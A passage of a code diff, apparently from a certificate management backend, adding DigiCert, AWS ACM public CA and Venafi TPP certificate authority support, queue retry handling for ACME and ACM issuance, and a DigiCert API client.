+            certificateRequestDAL.attachCertificate(id, certificateId)
+        },
+        resourceMetadataDAL,
+        digicertFns
+      },
+      certificateRequest
+    );
+
+    return { ...result, projectId: certificateRequest.projectId };
+  };
+
   return {
     createCertificateAuthority,
     findCertificateAuthorityById,
@@ -856,6 +1165,7 @@ export const certificateAuthorityServiceFactory = ({
     getCaById,
     deprecatedUpdateCertificateAuthority,
     deprecatedDeleteCertificateAuthority,
-    revokeCertificate
+    revokeCertificate,
+    triggerCertificateRequestValidation
   };
 };
diff --git a/backend/src/services/certificate-authority/certificate-authority-types.ts b/backend/src/services/certificate-authority/certificate-authority-types.ts
index d3eb1257a97..1d6fc551c41 100644
--- a/backend/src/services/certificate-authority/certificate-authority-types.ts
+++ b/backend/src/services/certificate-authority/certificate-authority-types.ts
@@ -1,4 +1,8 @@
 import { TAcmeCertificateAuthority, TAcmeCertificateAuthorityInput } from "./acme/acme-certificate-authority-types";
+import {
+  TAwsAcmPublicCaCertificateAuthority,
+  TCreateAwsAcmPublicCaCertificateAuthorityDTO
+} from "./aws-acm-public-ca/aws-acm-public-ca-certificate-authority-types";
 import {
   TAwsPcaCertificateAuthority,
   TCreateAwsPcaCertificateAuthorityDTO
@@ -8,22 +12,36 @@ import {
   TCreateAzureAdCsCertificateAuthorityDTO
 } from "./azure-ad-cs/azure-ad-cs-certificate-authority-types";
 import { CaType } from "./certificate-authority-enums";
+import {
+  TCreateDigiCertCertificateAuthorityDTO,
+  TDigiCertCertificateAuthority
+} from "./digicert/digicert-certificate-authority-types";
 import {
   TInternalCertificateAuthority,
   TInternalCertificateAuthorityInput
 } from "./internal/internal-certificate-authority-types";
+import {
+  TCreateVenafiTppCertificateAuthorityDTO,
+  TVenafiTppCertificateAuthority
+} from "./venafi-tpp/venafi-tpp-certificate-authority-types";
 
 export type TCertificateAuthority =
   | TInternalCertificateAuthority
   | TAcmeCertificateAuthority
   | TAzureAdCsCertificateAuthority
-  | TAwsPcaCertificateAuthority;
+  | TAwsPcaCertificateAuthority
+  | TDigiCertCertificateAuthority
+  | TAwsAcmPublicCaCertificateAuthority
+  | TVenafiTppCertificateAuthority;
 
 export type TCertificateAuthorityInput =
   | TInternalCertificateAuthorityInput
   | TAcmeCertificateAuthorityInput
   | TCreateAzureAdCsCertificateAuthorityDTO
-  | TCreateAwsPcaCertificateAuthorityDTO;
+  | TCreateAwsPcaCertificateAuthorityDTO
+  | TCreateDigiCertCertificateAuthorityDTO
+  | TCreateAwsAcmPublicCaCertificateAuthorityDTO
+  | TCreateVenafiTppCertificateAuthorityDTO;
 
 export type TCreateCertificateAuthorityDTO = Omit<TCertificateAuthority, "id" | "enableDirectIssuance">;
 
diff --git a/backend/src/services/certificate-authority/certificate-issuance-queue.ts b/backend/src/services/certificate-authority/certificate-issuance-queue.ts
index aae303ca7ce..0ea573d2be7 100644
--- a/backend/src/services/certificate-authority/certificate-issuance-queue.ts
+++ b/backend/src/services/certificate-authority/certificate-issuance-queue.ts
@@ -1,5 +1,7 @@
 import acme from "acme-client";
+import { UnrecoverableError } from "bullmq";
 
+import { TGatewayV2ServiceFactory } from "@app/ee/services/gateway-v2/gateway-v2-service";
 import { crypto } from "@app/lib/crypto/cryptography";
 import { NotFoundError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
@@ -13,12 +15,15 @@ import {
 import { TCertificateProfileDALFactory } from "@app/services/certificate-profile/certificate-profile-dal";
 import { TKmsServiceFactory } from "@app/services/kms/kms-service";
 import { TProjectDALFactory } from "@app/services/project/project-dal";
+import { getProjectKmsCertificateKeyId } from "@app/services/project/project-fns";
 
 import { TAppConnectionDALFactory } from "../app-connection/app-connection-dal";
 import { TAppConnectionServiceFactory } from "../app-connection/app-connection-service";
 import { TCertificateBodyDALFactory } from "../certificate/certificate-body-dal";
 import { TCertificateSecretDALFactory } from "../certificate/certificate-secret-dal";
 import { CertKeyAlgorithm } from "../certificate-common/certificate-constants";
+import { DigiCertExternalMetadataSchema } from "../certificate-common/external-metadata-schemas";
+import { TCertificateRequestDALFactory } from "../certificate-request/certificate-request-dal";
 import { TCertificateRequestServiceFactory } from "../certificate-request/certificate-request-service";
 import { CertificateRequestStatus } from "../certificate-request/certificate-request-types";
 import { TPkiAlertV2QueueServiceFactory } from "../pki-alert-v2/pki-alert-v2-queue";
@@ -28,13 +33,24 @@ import { TPkiSyncDALFactory } from "../pki-sync/pki-sync-dal";
 import { TPkiSyncQueueFactory } from "../pki-sync/pki-sync-queue";
 import { TResourceMetadataDALFactory } from "../resource-metadata/resource-metadata-dal";
 import { copyMetadataFromRequestToCertificate } from "../resource-metadata/resource-metadata-fns";
+import {
+  ACME_ORDER_TIMEOUT_MS,
+  AcmeOrderTimeoutError,
+  AcmeRateLimitError,
+  isAcmeRateLimitError,
+  runWithAcmeOrderTimeout
+} from "./acme/acme-certificate-authority-errors";
 import { AcmeCertificateAuthorityFns } from "./acme/acme-certificate-authority-fns";
+import { AcmPendingError } from "./aws-acm-public-ca/aws-acm-public-ca-certificate-authority-errors";
+import { AwsAcmPublicCaCertificateAuthorityFns } from "./aws-acm-public-ca/aws-acm-public-ca-certificate-authority-fns";
 import { AwsPcaCertificateAuthorityFns } from "./aws-pca/aws-pca-certificate-authority-fns";
 import { AzureAdCsCertificateAuthorityFns } from "./azure-ad-cs/azure-ad-cs-certificate-authority-fns";
 import { TCertificateAuthorityDALFactory } from "./certificate-authority-dal";
 import { CaType } from "./certificate-authority-enums";
 import { keyAlgorithmToAlgCfg } from "./certificate-authority-fns";
+import { DigiCertCertificateAuthorityFns } from "./digicert/digicert-certificate-authority-fns";
 import { TExternalCertificateAuthorityDALFactory } from "./external-certificate-authority-dal";
+import { VenafiTppCertificateAuthorityFns } from "./venafi-tpp/venafi-tpp-certificate-authority-fns";
 
 const base64UrlToBase64 = (base64url: string): string => {
   let base64 = base64url.replace(/-/g, "+").replace(/_/g, "/");
@@ -69,6 +85,7 @@ export type TIssueCertificateFromProfileJobData = {
   certificateId: string;
   profileId: string;
   caId: string;
+  caType?: CaType;
   commonName?: string;
   altNames?: Array<{ type: string; value: string }>;
   ttl: string;
@@ -104,13 +121,15 @@ type TCertificateIssuanceQueueFactoryDep = {
   pkiSubscriberDAL: Pick<TPkiSubscriberDALFactory, "findById" | "updateById">;
   pkiSyncDAL: Pick<TPkiSyncDALFactory, "find">;
   pkiSyncQueue: Pick<TPkiSyncQueueFactory, "queuePkiSyncSyncCertificatesById">;
-  certificateProfileDAL?: Pick<TCertificateProfileDALFactory, "findById">;
+  certificateProfileDAL?: Pick<TCertificateProfileDALFactory, "findById" | "findByIdWithConfigs">;
   certificateRequestService?: Pick<
     TCertificateRequestServiceFactory,
     "attachCertificateToRequest" | "updateCertificateRequestStatus"
   >;
+  certificateRequestDAL?: Pick<TCertificateRequestDALFactory, "updateById">;
   resourceMetadataDAL: Pick<TResourceMetadataDALFactory, "find" | "insertMany">;
   pkiAlertV2Queue?: Pick<TPkiAlertV2QueueServiceFactory, "queueCertificateEvent">;
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">;
 };
 
 export type TCertificateIssuanceQueueFactory = ReturnType<typeof certificateIssuanceQueueFactory>;
@@ -131,8 +150,10 @@ export const certificateIssuanceQueueFactory = ({
   pkiSyncQueue,
   certificateProfileDAL,
   certificateRequestService,
+  certificateRequestDAL,
   resourceMetadataDAL,
-  pkiAlertV2Queue
+  pkiAlertV2Queue,
+  gatewayV2Service
 }: TCertificateIssuanceQueueFactoryDep) => {
   const acmeFns = AcmeCertificateAuthorityFns({
     appConnectionDAL,
@@ -179,6 +200,45 @@ export const certificateIssuanceQueueFactory = ({
     certificateProfileDAL
   });
 
+  const digicertFns = DigiCertCertificateAuthorityFns({
+    appConnectionDAL,
+    appConnectionService,
+    certificateAuthorityDAL,
+    externalCertificateAuthorityDAL,
+    certificateDAL,
+    certificateBodyDAL,
+    certificateSecretDAL,
+    kmsService,
+    projectDAL
+  });
+
+  const awsAcmPublicCaFns = AwsAcmPublicCaCertificateAuthorityFns({
+    appConnectionDAL,
+    appConnectionService,
+    certificateAuthorityDAL,
+    externalCertificateAuthorityDAL,
+    certificateDAL,
+    certificateBodyDAL,
+    certificateSecretDAL,
+    kmsService,
+    projectDAL,
+    certificateProfileDAL
+  });
+
+  const venafiTppFns = VenafiTppCertificateAuthorityFns({
+    appConnectionDAL,
+    appConnectionService,
+    certificateAuthorityDAL,
+    externalCertificateAuthorityDAL,
+    certificateDAL,
+    certificateBodyDAL,
+    certificateSecretDAL,
+    kmsService,
+    projectDAL,
+    certificateProfileDAL,
+    gatewayV2Service
+  });
+
   /**
    * Queue a certificate issuance job.
    */
@@ -186,6 +246,7 @@ export const certificateIssuanceQueueFactory = ({
     certificateId,
     profileId,
     caId,
+    caType,
     commonName,
     altNames,
     ttl,
@@ -207,6 +268,7 @@ export const certificateIssuanceQueueFactory = ({
       certificateId,
       profileId,
       caId,
+      caType,
       commonName,
       altNames,
       ttl,
@@ -225,13 +287,16 @@ export const certificateIssuanceQueueFactory = ({
       locality
     };
 
+    // ACM DNS validation can take 5–30 minutes; the function is fully idempotent via
+    // IdempotencyToken, so we poll longer with a fixed backoff instead of exponential.
+    const queueOpts =
+      caType === CaType.AWS_ACM_PUBLIC_CA
+        ? { attempts: 30, backoff: { type: "fixed" as const, delay: 60000 } }
+        : { attempts: 3, backoff: { type: "exponential" as const, delay: 5000 } };
+
     await queueService.queue(QueueName.CertificateIssuance, QueueJobs.CaIssueCertificateFromProfile, jobData, {
       jobId: `certificate-issuance-${certificateId}`,
-      attempts: 3,
-      backoff: {
-        type: "exponential",
-        delay: 5000
-      }
+      ...queueOpts
     });
   };
 
@@ -295,21 +360,35 @@ export const certificateIssuanceQueueFactory = ({
           certificateCsr = generatedCsr.toString();
         }
 
-        const acmeResult = await acmeFns.orderCertificateFromProfile({
-          caId,
-          profileId,
-          commonName: commonName || "",
-          altNames: altNames?.map((san) => san.value) || [],
-          csr: Buffer.from(certificateCsr),
-          csrPrivateKey: skLeaf,
-          keyUsages: keyUsages as CertKeyUsage[],
-          extendedKeyUsages: extendedKeyUsages as CertExtendedKeyUsage[],
-          ttl,
-          signatureAlgorithm,
-          keyAlgorithm,
-          isRenewal,
-          originalCertificateId
-        });
+        let acmeResult;
+        try {
+          acmeResult = await runWithAcmeOrderTimeout(
+            (signal) =>
+              acmeFns.orderCertificateFromProfile({
+                caId,
+                profileId,
+                commonName: commonName || "",
+                altNames: altNames?.map((san) => san.value) || [],
+                csr: Buffer.from(certificateCsr),
+                csrPrivateKey: skLeaf,
+                keyUsages: keyUsages as CertKeyUsage[],
+                extendedKeyUsages: extendedKeyUsages as CertExtendedKeyUsage[],
+                ttl,
+                signatureAlgorithm,
+                keyAlgorithm,
+                isRenewal,
+                originalCertificateId,
+                abortSignal: signal
+              }),
+            ACME_ORDER_TIMEOUT_MS
+          );
+        } catch (acmeError) {
+          if (isAcmeRateLimitError(acmeError)) {
+            const message = acmeError instanceof Error ? acmeError.message : String(acmeError);
+            throw new AcmeRateLimitError(`ACME CA rate-limited the order: ${message}`);
+          }
+          throw acmeError;
+        }
 
         if (certificateRequestId && certificateRequestService && acmeResult?.id) {
           try {
@@ -396,6 +475,62 @@ export const certificateIssuanceQueueFactory = ({
               certificateId: azureResult.certificateId
             });
 
+            logger.info(`Certificate attached to request [certificateRequestId=${certificateRequestId}]`);
+          } catch (attachError) {
+            logger.error(
+              attachError,
+              `Failed to attach certificate to request [certificateRequestId=${certificateRequestId}]`
+            );
+            try {
+              await certificateRequestService.updateCertificateRequestStatus({
+                certificateRequestId,
+                status: CertificateRequestStatus.FAILED,
+                errorMessage: `Failed to attach certificate: ${attachError instanceof Error ? attachError.message : String(attachError)}`
+              });
+            } catch (statusUpdateError) {
+              logger.error(
+                statusUpdateError,
+                `Failed to update certificate request status [certificateRequestId=${certificateRequestId}]`
+              );
+            }
+          }
+        }
+      } else if (ca.externalCa?.type === CaType.AWS_ACM_PUBLIC_CA) {
+        const acmParams = {
+          caId,
+          profileId,
+          certificateId,
+          commonName: commonName || "",
+          altNames: (altNames || []) as Array<{ type: CertSubjectAlternativeNameType; value: string }>,
+          keyUsages,
+          extendedKeyUsages,
+          validity: { ttl },
+          signatureAlgorithm,
+          keyAlgorithm: keyAlgorithm as CertKeyAlgorithm,
+          isRenewal,
+          originalCertificateId,
+          ...(csr && { csr }),
+          organization,
+          organizationalUnit,
+          country,
+          state,
+          locality
+        };
+
+        const acmResult = await awsAcmPublicCaFns.orderCertificateFromProfile(acmParams);
+
+        if (certificateRequestId && certificateRequestService && acmResult?.certificateId) {
+          try {
+            await certificateRequestService.attachCertificateToRequest({
+              certificateRequestId,
+              certificateId: acmResult.certificateId
+            });
+
+            await copyMetadataFromRequestToCertificate(resourceMetadataDAL, {
+              certificateRequestId,
+              certificateId: acmResult.certificateId
+            });
+
             logger.info(`Certificate attached to request [certificateRequestId=${certificateRequestId}]`);
           } catch (attachError) {
             logger.error(
@@ -451,6 +586,164 @@ export const certificateIssuanceQueueFactory = ({
               certificateId: awsPcaResult.certificateId
             });
 
+            logger.info(`Certificate attached to request [certificateRequestId=${certificateRequestId}]`);
+          } catch (attachError) {
+            logger.error(
+              attachError,
+              `Failed to attach certificate to request [certificateRequestId=${certificateRequestId}]`
+            );
+            try {
+              await certificateRequestService.updateCertificateRequestStatus({
+                certificateRequestId,
+                status: CertificateRequestStatus.FAILED,
+                errorMessage: `Failed to attach certificate: ${attachError instanceof Error ? attachError.message : String(attachError)}`
+              });
+            } catch (statusUpdateError) {
+              logger.error(
+                statusUpdateError,
+                `Failed to update certificate request status [certificateRequestId=${certificateRequestId}]`
+              );
+            }
+          }
+        }
+      } else if (ca.externalCa?.type === CaType.DIGICERT) {
+        if (!certificateRequestId || !certificateRequestDAL) {
+          throw new NotFoundError({
+            message: "DigiCert issuance requires a certificate request and request DAL"
+          });
+        }
+
+        let renewalOfOrderId: number | undefined;
+        if (isRenewal && originalCertificateId) {
+          const originalCert = await certificateDAL.findById(originalCertificateId);
+          const parsedMetadata = DigiCertExternalMetadataSchema.safeParse(originalCert?.externalMetadata);
+          if (parsedMetadata.success) {
+            renewalOfOrderId = parsedMetadata.data.orderId;
+          } else {
+            logger.warn(
+              `DigiCert renewal requested but previous certificate has no DigiCert order reference in externalMetadata — falling back to a new order [originalCertificateId=${originalCertificateId}]`
+            );
+          }
+        }
+
+        const digicertResult = await digicertFns.orderCertificateFromProfile({
+          caId,
+          commonName: commonName || "",
+          altNames: altNames?.map((san) => san.value) || [],
+          signatureAlgorithm,
+          keyAlgorithm: keyAlgorithm as CertKeyAlgorithm,
+          ttl,
+          ...(csr && { csr }),
+          ...(renewalOfOrderId !== undefined && { renewalOfOrderId })
+        });
+
+        let encryptedPrivateKey: Buffer | undefined;
+        if (digicertResult.privateKey) {
+          const certificateManagerKmsId = await getProjectKmsCertificateKeyId({
+            projectId: ca.projectId,
+            projectDAL,
+            kmsService
+          });
+          const kmsEncryptor = await kmsService.encryptWithKmsKey({ kmsId: certificateManagerKmsId });
+          const { cipherTextBlob } = await kmsEncryptor({ plainText: Buffer.from(digicertResult.privateKey) });
+          encryptedPrivateKey = cipherTextBlob;
+        }
+
+        const metadataWithRenewal = {
+          ...digicertResult.metadata,
+          digicert: {
+            ...digicertResult.metadata.digicert,
+            ...(isRenewal && originalCertificateId ? { isRenewal: true, originalCertificateId } : {})
+          }
+        };
+
+        await certificateRequestDAL.updateById(certificateRequestId, {
+          status: CertificateRequestStatus.PENDING_VALIDATION,
+          metadata: JSON.stringify(metadataWithRenewal),
+          ...(encryptedPrivateKey && { encryptedPrivateKey })
+        });
+
+        if (digicertResult.immediateCertificateId) {
+          try {
+            const { certificateId: attachedCertificateId } = await digicertFns.fetchAndAttachIssuedCertificate({
+              caId,
+              certificateRequest: {
+                id: certificateRequestId,
+                profileId,
+                commonName: commonName || "",
+                altNames: altNames?.map((san) => san.value).join(",") ?? null,
+                keyUsages: keyUsages ?? null,
+                extendedKeyUsages: extendedKeyUsages ?? null,
+                keyAlgorithm,
+                signatureAlgorithm
+              },
+              digicertCertificateId: digicertResult.immediateCertificateId,
+              digicertOrderId: digicertResult.orderId,
+              encryptedPrivateKey,
+              isRenewal,
+              originalCertificateId
+            });
+
+            if (certificateRequestService) {
+              await certificateRequestService.attachCertificateToRequest({
+                certificateRequestId,
+                certificateId: attachedCertificateId
+              });
+              await copyMetadataFromRequestToCertificate(resourceMetadataDAL, {
+                certificateRequestId,
+                certificateId: attachedCertificateId
+              });
+            }
+
+            logger.info(
+              `DigiCert order issued immediately (pre-validated domains), attached certificate [certificateRequestId=${certificateRequestId}] [certificateId=${attachedCertificateId}]`
+            );
+          } catch (finaliseError) {
+            logger.error(
+              finaliseError,
+              `DigiCert immediate finalisation failed, will be retried by polling queue [certificateRequestId=${certificateRequestId}]`
+            );
+          }
+        } else {
+          logger.info(
+            `DigiCert order placed, awaiting validation [certificateRequestId=${certificateRequestId}] [orderId=${digicertResult.metadata.digicert.orderId}]`
+          );
+        }
+      } else if (ca.externalCa?.type === CaType.VENAFI_TPP) {
+        const venafiTppParams = {
+          caId,
+          profileId,
+          commonName: commonName || "",
+          altNames: (altNames || []) as Array<{ type: CertSubjectAlternativeNameType; value: string }>,
+          keyUsages: keyUsages as CertKeyUsage[],
+          extendedKeyUsages: extendedKeyUsages as CertExtendedKeyUsage[],
+          validity: { ttl },
+          signatureAlgorithm,
+          keyAlgorithm: keyAlgorithm as CertKeyAlgorithm,
+          isRenewal,
+          originalCertificateId,
+          ...(csr && { csr }),
+          organization,
+          organizationalUnit,
+          country,
+          state,
+          locality
+        };
+
+        const venafiTppResult = await venafiTppFns.orderCertificateFromProfile(venafiTppParams);
+
+        if (certificateRequestId && certificateRequestService && venafiTppResult?.certificateId) {
+          try {
+            await certificateRequestService.attachCertificateToRequest({
+              certificateRequestId,
+              certificateId: venafiTppResult.certificateId
+            });
+
+            await copyMetadataFromRequestToCertificate(resourceMetadataDAL, {
+              certificateRequestId,
+              certificateId: venafiTppResult.certificateId
+            });
+
             logger.info(`Certificate attached to request [certificateRequestId=${certificateRequestId}]`);
           } catch (attachError) {
             logger.error(
@@ -487,14 +780,27 @@ export const certificateIssuanceQueueFactory = ({
         logger.debug("Failed to queue PKI alert event for async certificate issuance");
       }
     } catch (error: unknown) {
+      // AcmPendingError signals that an ACM operation (DNS validation, renewal, export) is still
+      // in flight. Don't mark the request as FAILED on every poll — only after the queue exhausts attempts.
+      const isRetryable = error instanceof AcmPendingError;
+      if (isRetryable) {
+        logger.info(
+          `Certificate issuance pending ACM operation — will retry [certificateId=${certificateId}] [caId=${caId}]`
+        );
+        throw error;
+      }
+
       logger.error(error, `Certificate issuance job failed for [certificateId=${certificateId}] [caId=${caId}]`);
 
+      const isAcmeTerminal = error instanceof AcmeOrderTimeoutError || error instanceof AcmeRateLimitError;
+
       if (certificateRequestId && certificateRequestService) {
         try {
+          const errorMessage = error instanceof Error ? error.message : String(error);
           await certificateRequestService.updateCertificateRequestStatus({
             certificateRequestId,
             status: CertificateRequestStatus.FAILED,
-            errorMessage: `Certificate issuance failed: ${error instanceof Error ? error.message : String(error)}`
+            errorMessage: isAcmeTerminal ? errorMessage : `Certificate issuance failed: ${errorMessage}`
           });
           logger.info(`Updated certificate request ${certificateRequestId} status to failed due to issuance error`);
         } catch (statusUpdateError) {
@@ -505,12 +811,52 @@ export const certificateIssuanceQueueFactory = ({
         }
       }
 
+      // For ACM's 30-attempt queue, wrap non-retryable errors so BullMQ stops retrying immediately.
+      // Other CAs keep default retry behavior (3 attempts is short enough that running through them is fine).
+      if (data.caType === CaType.AWS_ACM_PUBLIC_CA || isAcmeTerminal) {
+        const message = error instanceof Error ? error.message : String(error);
+        const wrapped = new UnrecoverableError(message);
+        (wrapped as Error).cause = error;
+        throw wrapped;
+      }
+
       throw error;
     }
   };
 
   queueService.start(QueueName.CertificateIssuance, async (job) => {
-    await processCertificateIssuanceJobs(job.data);
+    try {
+      await processCertificateIssuanceJobs(job.data);
+    } catch (error) {
+      // AcmPendingError is rethrown on every retry so BullMQ keeps polling; the in-handler
+      // FAILED-update branch never runs for it. On the final attempt we still need to flip the request
+      // row to FAILED ourselves — BullMQ will move the job to the failed state but has no hook to
+      // update our DB, and no queue-level "failed" listener is wired for CertificateIssuance.
+      if (error instanceof AcmPendingError) {
+        const attemptsMade = job.attemptsMade ?? 0;
+        const maxAttempts = job.opts?.attempts ?? 1;
+        const isFinalAttempt = attemptsMade + 1 >= maxAttempts;
+        const { certificateRequestId, certificateId, caId } = job.data;
+        if (isFinalAttempt && certificateRequestId && certificateRequestService) {
+          try {
+            await certificateRequestService.updateCertificateRequestStatus({
+              certificateRequestId,
+              status: CertificateRequestStatus.FAILED,
+              errorMessage: `AWS ACM DNS validation did not complete after ${maxAttempts} attempts: ${error.message}`
+            });
+            logger.info(
+              `Marked certificate request FAILED after exhausted ACM validation retries [certificateRequestId=${certificateRequestId}] [certificateId=${certificateId}] [caId=${caId}]`
+            );
+          } catch (updateError) {
+            logger.error(
+              updateError,
+              `Failed to mark certificate request FAILED after exhausted ACM retries [certificateRequestId=${certificateRequestId}]`
+            );
+          }
+        }
+      }
+      throw error;
+    }
   });
 
   return {
diff --git a/backend/src/services/certificate-authority/digicert/digicert-api-client.ts b/backend/src/services/certificate-authority/digicert/digicert-api-client.ts
new file mode 100644
index 00000000000..c765f182d3c
--- /dev/null
+++ b/backend/src/services/certificate-authority/digicert/digicert-api-client.ts
@@ -0,0 +1,125 @@
+import { AxiosError } from "axios";
+
+import { request } from "@app/lib/config/request";
+import { BadRequestError } from "@app/lib/errors";
+import { DIGICERT_AUTH_HEADER } from "@app/services/app-connection/digicert/digicert-connection-constants";
+import { extractDigiCertErrorMessage } from "@app/services/app-connection/digicert/digicert-connection-errors";
+
+type TPlaceOrderRequest = {
+  certificate: {
+    common_name: string;
+    dns_names?: string[];
+    csr: string;
+    signature_hash?: string;
+  };
+  organization: { id: number };
+
+  order_validity: { days: number } | { years: number };
+  dcv_method: "dns-txt-token";
+  skip_approval?: boolean;
+  renewal_of_order_id?: number;
+};
+
+type TDigiCertDcvToken = {
+  token: string;
+  status?: string;
+  expiration_date?: string;
+};
+
+type TPlaceOrderResponse = {
+  id: number;
+  certificate_id?: number;
+  dcv_random_value?: string;
+  domains: {
+    id: number;
+    dns_name: string;
+    dcv_token?: TDigiCertDcvToken;
+  }[];
+};
+
+type TOrderResponse = {
+  id: number;
+  status: string;
+  certificate?: {
+    id: number;
+  };
+  dcv_method?: string;
+};
+
+type TCheckValidationResponse = {
+  order_status?: string;
+  certificate_id?: number;
+  dcv_status?: string;
+  dns_name_validations?: {
+    dns_name: string;
+    status: string;
+  }[];
+};
+
+export type TDigiCertApiClient = ReturnType<typeof createDigiCertApiClient>;
+
+export const createDigiCertApiClient = (apiKey: string, baseURL: string) => {
+  const headers = {
+    [DIGICERT_AUTH_HEADER]: apiKey,
+    "Content-Type": "application/json"
+  };
+
+  const wrap = <T>(fn: () => Promise<T>, action: string) =>
+    fn().catch((error: unknown) => {
+      if (error instanceof AxiosError) {
+        throw new BadRequestError({
+          message: `DigiCert ${action} failed: ${extractDigiCertErrorMessage(error)}`
+        });
+      }
+      throw error;
+    });
+
+  const placeOrder = async (productSlug: string, body: TPlaceOrderRequest) =>
+    wrap(async () => {
+      const { data } = await request.post<TPlaceOrderResponse>(`${baseURL}/order/certificate/${productSlug}`, body, {
+        headers
+      });
+      return data;
+    }, `order placement for product ${productSlug}`);
+
+  const getOrder = async (orderId: number) =>
+    wrap(async () => {
+      const { data } = await request.get<TOrderResponse>(`${baseURL}/order/certificate/${orderId}`, {
+        headers
+      });
+      return data;
+    }, `order lookup for ${orderId}`);
+
+  const checkValidation = async (orderId: number) =>
+    wrap(async () => {
+      const { data } = await request.put<TCheckValidationResponse>(
+        `${baseURL}/order/certificate/${orderId}/check-dcv`,
+        null,
+        { headers }
+      );
+      return data;
+    }, `validation check for order ${orderId}`);
+
+  const downloadCertificatePem = async (certificateId: number) =>
+    wrap(async () => {
+      const { data } = await request.get<string>(`${baseURL}/certificate/${certificateId}/download/format/pem_all`, {
+        headers,
+        responseType: "text",
+        transformResponse: (res: string) => res
+      });
+      return data;
+    }, `certificate download for ${certificateId}`);
+
+  const revokeOrder = async (orderId: number, comments: string) =>
+    wrap(async () => {
+      await request.put(`${baseURL}/order/certificate/${orderId}/revoke`, { comments }, { headers });
+    }, `order revocation for ${orderId}`);
+
+  return {
+    placeOrder,
+    getOrder,
+    checkValidation,
+    downloadCertificatePem,
+    revokeOrder
+  };
+};
diff --git a/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-enums.ts b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-enums.ts
new file mode 100644
index 00000000000..e872ea5fb02
--- /dev/null
+++ b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-enums.ts
@@ -0,0 +1,15 @@
+export enum DigiCertOrderStatus {
+  Pending = "pending",
+  Approved = "approved",
+  Issued = "issued",
+  Revoked = "revoked",
+  Canceled = "canceled",
+  Rejected = "rejected",
+  Expired = "expired"
+}
+
+export const DIGICERT_FINAL_ISSUED_STATUSES = [DigiCertOrderStatus.Issued] as const;
+
+export enum DigiCertProcessorOutcome {
+  Skipped = "skipped"
+}
diff --git a/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-fns.ts b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-fns.ts
new file mode 100644
index 00000000000..bb5e1e004e9
--- /dev/null
+++ b/backend/src/services/certificate-authority/digicert/digicert-certificate-authority-fns.ts
@@ -0,0 +1,726 @@
+/* eslint-disable no-await-in-loop */
+import * as x509 from "@peculiar/x509";
+import RE2 from "re2";
+
+import { TableName } from "@app/db/schemas";
+import { crypto } from "@app/lib/crypto/cryptography";
+import { BadRequestError, NotFoundError } from "@app/lib/errors";
+import { ProcessedPermissionRules } from "@app/lib/knex/permission-filter-utils";
+import { logger } from "@app/lib/logger";
+import { OrgServiceActor } from "@app/lib/types";
+import { TAppConnectionDALFactory } from "@app/services/app-connection/app-connection-dal";
+import { AppConnection } from "@app/services/app-connection/app-connection-enums";
+import { decryptAppConnectionCredentials } from "@app/services/app-connection/app-connection-fns";
+import { TAppConnectionServiceFactory } from "@app/services/app-connection/app-connection-service";
+import { getDigiCertApiBaseUrl } from "@app/services/app-connection/digicert/digicert-connection-fns";
+import { TDigiCertConnection } from "@app/services/app-connection/digicert/digicert-connection-types";
+import { TCertificateBodyDALFactory } from "@app/services/certificate/certificate-body-dal";
+import { TCertificateDALFactory } from "@app/services/certificate/certificate-dal";
+import { TCertificateSecretDALFactory } from "@app/services/certificate/certificate-secret-dal";
+import {
+  CertExtendedKeyUsage,
+  CertExtendedKeyUsageOIDToName,
+  CertKeyAlgorithm,
+  CertKeyUsage,
+  CertStatus,
+  CrlReason,
+  TAltNameType
+} from "@app/services/certificate/certificate-types";
+import {
+  DigiCertExternalMetadataSchema,
+  TDigiCertExternalMetadata
+} from "@app/services/certificate-common/external-metadata-schemas";
+import { TKmsServiceFactory } from "@app/services/kms/kms-service";
+import { TProjectDALFactory } from "@app/services/project/project-dal";
+import { getProjectKmsCertificateKeyId } from "@app/services/project/project-fns";
+
+import { TCertificateAuthorityDALFactory } from "../certificate-authority-dal";
+import { CaStatus, CaType } from "../certificate-authority-enums";
+import { keyAlgorithmToAlgCfg, parseDistinguishedName } from "../certificate-authority-fns";
+import { TExternalCertificateAuthorityDALFactory } from "../external-certificate-authority-dal";
+import { createDigiCertApiClient } from "./digicert-api-client";
+import {
+  TCreateDigiCertCertificateAuthorityDTO,
+  TDigiCertCertificateAuthority,
+  TDigiCertCertificateRequestMetadata,
+  TUpdateDigiCertCertificateAuthorityDTO
+} from "./digicert-certificate-authority-types";
+
+type TDigiCertCertificateAuthorityFnsDeps = {
+  appConnectionDAL: Pick<TAppConnectionDALFactory, "findById">;
+  appConnectionService: Pick<TAppConnectionServiceFactory, "validateAppConnectionUsageById">;
+  certificateAuthorityDAL: Pick<
+    TCertificateAuthorityDALFactory,
+    "create" | "transaction" | "findByIdWithAssociatedCa" | "updateById" | "findWithAssociatedCa" | "findById"
+  >;
+  externalCertificateAuthorityDAL: Pick<TExternalCertificateAuthorityDALFactory, "create" | "update">;
+  certificateDAL: Pick<TCertificateDALFactory, "create" | "transaction" | "updateById" | "findOne">;
+  certificateBodyDAL: Pick<TCertificateBodyDALFactory, "create">;
+  certificateSecretDAL: Pick<TCertificateSecretDALFactory, "create">;
+  kmsService: Pick<
+    TKmsServiceFactory,
+    "encryptWithKmsKey" | "generateKmsKey" | "createCipherPairWithDataKey" | "decryptWithKmsKey"
+  >;
+  projectDAL: Pick<TProjectDALFactory, "findById" | "findOne" | "updateById" | "transaction">;
+};
+
+export const castDbEntryToDigiCertCertificateAuthority = (
+  ca: Awaited<ReturnType<TCertificateAuthorityDALFactory["findByIdWithAssociatedCa"]>>
+): TDigiCertCertificateAuthority & { credentials: Buffer | null | undefined } => {
+  if (!ca.externalCa?.id) {
+    throw new BadRequestError({ message: "Malformed DigiCert certificate authority" });
+  }
+
+  if (!ca.externalCa.appConnectionId) {
+    throw new BadRequestError({
+      message: "DigiCert app connection ID is missing from certificate authority configuration"
+    });
+  }
+
+  const config = (ca.externalCa.configuration ?? {}) as {
+    organizationId?: number;
+    productNameId?: string;
+  };
+
+  if (typeof config.organizationId !== "number" || !config.productNameId) {
+    throw new BadRequestError({
+      message: "DigiCert certificate authority configuration is missing organization ID or product"
+    });
+  }
+
+  return {
+    id: ca.id,
+    type: CaType.DIGICERT,
+    enableDirectIssuance: ca.enableDirectIssuance,
+    name: ca.name,
